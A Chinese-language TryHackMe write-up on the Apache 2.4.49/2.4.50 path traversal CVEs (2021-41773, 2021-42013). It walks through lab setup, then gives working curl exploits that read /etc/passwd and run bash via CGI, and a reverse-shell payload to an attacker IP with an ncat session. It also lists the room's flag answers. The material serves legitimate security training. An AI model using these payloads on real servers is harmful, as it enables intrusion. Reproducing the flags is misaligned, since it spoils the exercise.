CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
简要历史
2021 年 10 月 5 日,一个关于 Apache HTTP Server v2.4.49 路径遍历攻击的 CVE 被发布。编号为 CVE-2021-41773,描述如下:
在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现了一个缺陷。攻击者可以利用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。如果文档根目录之外的文件未受到"require all denied"的保护,这些请求可能成功。此外,此缺陷还可能泄露像 CGI 脚本这类已解释文件的源代码。已知该问题已在野外被利用。此问题仅影响 Apache 2.4.49,而不影响更早版本。
让我们分解一下,看看这实际上意味着什么:
多次修复之后……
于是 Apache 修复了这个漏洞并发布了 v2.4.50。故事结束了,对吧?嗯,并非如此。仅仅两天后,即 10 月 7 日,一个新的 CVE 被发布,引用了之前的 CVE。它提到早期路径遍历攻击的修复不完整,如果相关路径使用了 alias 指令将其 URL 映射到文件系统,我们仍然可以进行遍历。该 CVE 编号为 CVE-2021-42013,描述如下:
发现 Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不充分。攻击者可以利用路径遍历攻击将 URL 映射到由类似 Alias 的指令配置的目录之外的文件。如果这些目录之外的文件未受到通常默认配置"require all denied"的保护,这些请求可能成功。如果这些别名路径上也启用了 CGI 脚本,则可能导致远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本。
和前一次一样,我们可以从中了解几点:
在我们消化这些疯狂信息的同时,下一任务将探讨所需配置。
回答以下问题
一点理论
路径遍历漏洞是一种通过滥用路径解析和/或规范化中的缺陷来访问通常不可访问的资源的攻击。我们通常通过使用 .. 语法向假设的根目录之外"行走"(也称为遍历)来利用此类攻击。
规范化?什么?
通常,在提供路径供代码查找文件时,绝对路径是必需的。我们称之为规范路径。相反,当给出相对路径时,必须将其规范化为规范形式,以便使用该路径的操作系统库能够找到相关资源。当然,这过于简化了,但要点仍然如此。
一般来说,存在平台库来为我们进行规范化,但在 C/C++ 中,我们通常需要自己完成所有工作。虽然这可以提供一些灵活性,但如果我们的实现不完美,也很容易引入缺陷。
规范化 URL
HTTP 服务器必须将 URL 转换为文件系统上的规范路径,以便找到正确的文件来提供。虽然肯定有某些过滤器来避免遍历到文档根目录之外,但某些用例可能很容易被遗漏。在这种情况下,漏洞不仅利用了 URL 编码(稍后会提到),还利用了 Alias 模块路径规范化中的缺陷(据称)。
关于 URL 编码的补充说明
定义于 RFC 3986 第 2 节,URL 编码是一种用于对 URL 中的特殊或保留字符进行编码的方案。例如,URL 中的空格被编码为 + 字符(特别是在查询参数中)。如果想编码一个实际的加号,必须使用所谓的"百分号编码"来编码。这只需在字符的 US-ASCII 十六进制代码前加上 % 符号。在我们的示例中,+ 符号可以编码为 %2B。
任何字符都可以进行 URL 编码,完全 URL 编码的 URL 在功能上等同于未编码的版本。来自 RFC:如果两个 URI 仅在百分号编码八位组中使用的十六进制数字的大小写不同,则它们是等价的。
那么 Apache 发生了什么?
Apache 服务器路径规范化模块中的一个近期更改允许一个特制的 URL 绕过过滤器并遍历到文档根目录之外,如果配置允许,则允许在系统上读取任意文件。此外,如果 CGI 模块已启用,则还可以执行任意文件!
回答以下问题
A) 包含服务器上要处理的任意远程文件。 B) 包含服务器上要处理的任意本地文件。 C) 允许服务器暴露任意文件。 D) 以上都不是。
为了乐趣而入侵 Apache
理论部分结束,现在让我们来利用这个漏洞。首先,我们需要一个易受攻击的 Apache 版本。幸好我们有 docker 可以用来做这个 :)```
user@machine$ docker pull httpd:2.4.49
2.4.49: Pulling from library/httpd
07aded7c29c6: Already exists
05bb40c8f148: Already exists
0827b74117da: Already exists
35a526fdcc7d: Pull complete
59fed288cd32: Pull complete
Digest: sha256:dcba0d12e2362fb0c50ec524ae8aa1cca4a4ba7216617a57e7bbca20767e79cc
Status: Downloaded newer image for httpd:2.4.49
docker.io/library/httpd:2.4.49
**配置**
为了让此漏洞利用生效,我们需要配置 Apache 以允许访问文档根目录之外的文件。我们可以精确指定某个目录,也可以选择 YOLO 路线,授予对所有内容的访问权限。就我们的目的而言,全面开放正好合适。首先,运行我们的容器并探查配置。请注意,这些修改适用于两个存在漏洞的 Apache 版本。```
user@machine$ docker run --name vuln-httpd -p 8080:80 -d httpd:2.4.49
a4dfc0376d93dc62183982a527b0bef62543e7a91178116bb0480a42ecc0c8dd
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "Require all denied" httpd.conf
246-# <Directory> blocks below.
247-#
248-<Directory />
249- AllowOverride none
250: Require all denied
251-</Directory>
252-
253-#
254-# Note that from this point forward you must specifically allow
--
303-# The following lines prevent .htaccess and .htpasswd files from being
304-# viewed by Web clients.
305-#
306-<Files ".ht*">
307: Require all denied
308-</Files>
309-
310-#
311-# ErrorLog: The location of the error log file.
user@machine$ sed "250s/denied/granted/" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
顺便提一下,你总是可以手动修改配置。我们想要修改的部分如下:``` AllowOverride none Require all denied
并将“denied”替换为“granted”。这将使Apache获得对整个文件系统的访问权限(这绝对不是一个好主意,所以千万不要在生产环境这样做。永远不要)。
**配置那个诱人的RCE**
仅仅修改访问控制会导致数据泄露,但不会产生RCE。为了在我们的简单PoC中获得RCE,我们除了设置访问权限外,还需要激活CGI模块。这样,当我们调用脚本时,CGI模块将执行它,而不仅仅是显示其内容。要启用CGI,我们只需取消注释LoadModule配置。假设我们仍然拥有之前修改过的容器,可以执行以下操作:```
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "mod_cgi" httpd.conf
180-#LoadModule asis_module modules/mod_asis.so
181-#LoadModule info_module modules/mod_info.so
182-#LoadModule suexec_module modules/mod_suexec.so
183-<IfModule !mpm_prefork_module>
184: #LoadModule cgid_module modules/mod_cgid.so
185-</IfModule>
186-<IfModule mpm_prefork_module>
187: #LoadModule cgi_module modules/mod_cgi.so
188-</IfModule>
189-#LoadModule dav_fs_module modules/mod_dav_fs.so
190-#LoadModule dav_lock_module modules/mod_dav_lock.so
191-#LoadModule vhost_alias_module modules/mod_vhost_alias.so
--
385-
386-<IfModule cgid_module>
387- #
388- # ScriptSock: On threaded servers, designate the path to the UNIX
389: # socket used to communicate with the CGI daemon of mod_cgid.
390- #
391- #Scriptsock cgisock
392-</IfModule>
393-
user@machine$ sed "184,187s/#//" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
当然,您可以使用任何可用的文本编辑器来修改文件。在容器内,由于没有文本编辑器可用,可以通过 Shell 使用 grep/sed 方法。
直接开始利用漏洞吧!
现在我们已经设置好了容器,终于可以开始利用这个 CVE 了。方法相当直接,涉及在遍历时将每个 URL 路径段中的一个 . 符号进行 URL 编码。我们还需要从一个别名路径开始遍历。幸运的是,我们从配置中得知 cgi-bin 路径默认是别名,所以就用它!漏洞利用在 2.4.49 和 2.4.50 版本之间略有不同,不过后者也适用于前者。
Apache 2.4.49 未启用 CGI
在未启用 CGI 的情况下,我们只能读取文件。使用 curl,只需访问我们想要的文件,在每个路径段中对一个 . 进行 URL 编码。```
user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1 Host: localhost:8080 User-Agent: curl/7.74.0 Accept: /
**Apache 2.4.49 启用 CGI**
CGI 会使问题复杂化,因为该模块将尝试执行检索到的文件。对于纯文本(如 /etc/passwd),这可能会有问题 :)。要执行或编写代码,我们可以在请求体中直接调用 `sh` 或 `bash` 并附带命令。请注意,还需要添加 Content-Type 响应头,以便客户端知道如何显示结果。```
user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain"
* Trying 127.0.0.1:8080...
* Connected to localhost (127.0.0.1) port 8080 (#1)
> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: text/plain
> Content-Length: 52
>
* upload completely sent off: 52 out of 52 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 11 Oct 2021 12:22:34 GMT
< Server: Apache/2.4.49 (Unix)
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #1 to host localhost left intact
Apache 2.4.50
此特定示例在版本2.4.50中已修复。然而,修复不完整,未能考虑到URL的双重编码。在这种情况下,我们可以使用与先前版本相同的结构,路径如下:``` user@machine$ curl 'http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd' root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin bin❌2:2:bin:/bin:/usr/sbin/nologin sys❌3:3:sys:/dev:/usr/sbin/nologin sync❌4:65534:sync:/bin:/bin/sync games❌5:60:games:/usr/games:/usr/sbin/nologin man❌6:12👨/var/cache/man:/usr/sbin/nologin lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail❌8:8:mail:/var/mail:/usr/sbin/nologin news❌9:9:news:/var/spool/news:/usr/sbin/nologin uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy❌13:13:proxy:/bin:/usr/sbin/nologin www-data❌33:33:www-data:/var/www:/usr/sbin/nologin backup❌34:34:backup:/var/backups:/usr/sbin/nologin list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt❌100:65534::/nonexistent:/usr/sbin/nologin
如果我们仔细看,会发现 URL 从 `%%32%65` 解码为 `%2e.`。这绕过了过滤器代码,允许我们遍历到 Web 服务器根目录之外。
**回答以下问题**
1. **需要启用哪个模块才能获得远程代码执行?**
- **mod_cgi**
---
### 任务 4:实践考试
配置有些繁琐,所以我已经为你做好了全部!在此任务附带的虚拟机中(订阅者 VM 最多需要等待 4 分钟才能正常启动,免费 VM 需要 7 分钟),有 4 个有漏洞的 Apache 服务器配置如下:
Apache 2.4.49 无 CGI:`http://MACHINE_IP:8080`
Apache 2.4.49 有 CGI:`http://MACHINE_IP:8081`
Apache 2.4.50 无 CGI:`http://MACHINE_IP:8082`
Apache 2.4.50 有 CGI:`http://MACHINE_IP:8083`
每个服务器的根目录中都有一个名为 `flag.txt` 的标志。你的任务是找到它们全部。
作为加分目标,尝试在其中一个启用了 CGI 的服务器上获得一个实际的 shell。端口 8083 上的服务器还隐藏着一个 root 标志。
***回答以下问题***
1. **端口 8080 上的标志是什么?**
- ***THM{724V3R51N6_P4TH5_F02_FUN}***```
$ curl -v http://10.10.107.169:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt
- Trying 10.10.107.169:8080...
- TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.107.169 (10.10.107.169) port 8080 (#0)
> GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt HTTP/1.1
> Host: 10.10.107.169:8080
> User-Agent: curl/7.67.0
> Accept: _/_
- Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 10 Nov 2021 08:57:26 GMT
< Server: Apache/2.4.49 (Unix)
< Last-Modified: Mon, 11 Oct 2021 09:16:12 GMT
< ETag: "1d-5ce102e25be36"
< Accept-Ranges: bytes
< Content-Length: 29
< Content-Type: text/plain
<
{ [29 bytes data]
100 29 100 29 0 0 29 0 0:00:01 --:--:-- 0:00:01 29THM{724V3R51N6_P4TH5_F02_FUN}
- Connection #0 to host 10.10.107.169 left intact
THM{2C3_F20M_C61}``` $ curl -v 'http://10.10.107.169:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /flag.txt' -H "Content-Type: text/plain"
Trying 10.10.107.169:8081...
TCP_NODELAY set % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 10.10.107.169 (10.10.107.169) port 8081 (#0)
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1 Host: 10.10.107.169:8081 User-Agent: curl/7.67.0 Accept: / Content-Type: text/plain Content-Length: 50
} [50 bytes data]
upload completely sent off: 50 out of 50 bytes
Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Wed, 10 Nov 2021 09:01:11 GMT < Server: Apache/2.4.49 (Unix) < Transfer-Encoding: chunked < Content-Type: text/plain < { [23 bytes data] 100 67 0 17 100 50 18 54 --:--:-- --:--:-- --:--:-- 74THM{2C3_F20M_C61}
Connection #0 to host 10.10.107.169 left intact
3. **端口8082上的标志是什么?**
- ***THM{D0UBL3_3NC0D1N6_F7W}***```
$ curl 'http://10.10.37.52:8082/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag.txt'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24 100 24 0 0 23 0 0:00:01 0:00:01 --:--:-- 23THM{D0UBL3_3NC0D1N6_F7W}
5. **我成功获取了一个shell!(我实际上无法验证这一点,所以我相信你提供的那个 :)))**
***无需回答***
6. **Apache 服务器以哪个用户身份运行?**
- ***daemon***
7. **在端口 8083 的机器上找到 root 标志?**
- ***THM{P21V_35C_F20M_4P4CH3_15_FUN}***```
$ curl -v 'http://10.10.37.52:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo; bash -i >& /dev/tcp/10.17.31.150/4242 0>&1'
- Trying 10.10.37.52:8083...
- TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.37.52 (10.10.37.52) port 8083 (#0)
> POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash HTTP/1.1
> Host: 10.10.37.52:8083
> User-Agent: curl/7.67.0
> Accept: _/_
> Content-Length: 48
> Content-Type: application/x-www-form-urlencoded
>
> } [48 bytes data]
- upload completely sent off: 48 out of 48 bytes
- Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 12 Nov 2021 16:20:43 GMT
< Server: Apache/2.4.50 (Unix)
< Transfer-Encoding: chunked
<
100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0{ [0 bytes data]
- transfer closed with outstanding read data remaining
100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0
- Closing connection 0
curl: (18) transfer closed with outstanding read data remaining
(空)``` $ ncat -lvp 4242 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4242 Ncat: Listening on 0.0.0.0:4242 Ncat: Connection from 10.10.37.52. Ncat: Connection from 10.10.37.52:35836. bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell daemon@18c7613b3859:/bin$ cd /root cd /root bash: cd: /root: Permission denied daemon@18c7613b3859:/bin$ su root su root Password: ApacheCVE
cd /root
ls root.txt cat root.txt THM{P21V_35C_F20M_4P4CH3_15_FUN}